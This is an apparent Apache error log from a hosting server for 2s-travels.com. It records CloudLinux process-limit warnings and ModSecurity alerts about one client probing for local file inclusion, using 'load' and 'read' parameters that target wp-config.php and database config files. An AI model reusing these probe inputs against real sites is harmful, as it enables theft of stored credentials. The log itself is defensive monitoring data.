[Fri Jul 17 08:55:47.246801 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.256933 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.267181 2026] [mime:warn] [pid 2030803:tid 2030803] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:47.274103 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.275337 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:load: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlBAAAAAI"]
[Fri Jul 17 08:55:47.275944 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlBAAAAAI"]
[Fri Jul 17 08:55:47.276049 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.276189 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.276314 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu41dLClkUfK_dfHlBAAAAAI"]
[Fri Jul 17 08:55:47.278168 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.279052 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:load: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu0kXT4NBqALj2lZ9AQAAABA"]
[Fri Jul 17 08:55:47.279725 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu0kXT4NBqALj2lZ9AQAAABA"]
[Fri Jul 17 08:55:47.279829 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.280105 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu0kXT4NBqALj2lZ9AQAAABA"]
[Fri Jul 17 08:55:47.283745 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:load: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETa_QAAAAo"]
[Fri Jul 17 08:55:47.284365 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETa_QAAAAo"]
[Fri Jul 17 08:55:47.284475 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.284774 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETa_QAAAAo"]
[Fri Jul 17 08:55:47.288461 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:load: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu-1pLmPpy2r_2CxffAAAAA8"]
[Fri Jul 17 08:55:47.289137 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu-1pLmPpy2r_2CxffAAAAA8"]
[Fri Jul 17 08:55:47.289281 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.289587 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu-1pLmPpy2r_2CxffAAAAA8"]
[Fri Jul 17 08:55:47.293256 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:load: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxJ0z2bEtnOrIXVAfQAAAAk"]
[Fri Jul 17 08:55:47.293849 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxJ0z2bEtnOrIXVAfQAAAAk"]
[Fri Jul 17 08:55:47.293955 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.294351 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxJ0z2bEtnOrIXVAfQAAAAk"]
[Fri Jul 17 08:55:47.319725 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:load: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETa_gAAAAo"]
[Fri Jul 17 08:55:47.320381 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETa_gAAAAo"]
[Fri Jul 17 08:55:47.320482 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.320774 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETa_gAAAAo"]
[Fri Jul 17 08:55:47.328767 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.354949 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.355578 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.359272 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.366881 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.374126 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.377414 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.378283 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.379532 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.383289 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.388083 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.415237 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.417255 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.422331 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:read: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu4l9vhFBGA6D8l96LgAAAAw"]
[Fri Jul 17 08:55:47.422727 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.422868 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu4l9vhFBGA6D8l96LgAAAAw"]
[Fri Jul 17 08:55:47.422959 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.423239 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu4l9vhFBGA6D8l96LgAAAAw"]
[Fri Jul 17 08:55:47.427893 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:read: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu0kXT4NBqALj2lZ9BAAAABA"]
[Fri Jul 17 08:55:47.428595 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu0kXT4NBqALj2lZ9BAAAABA"]
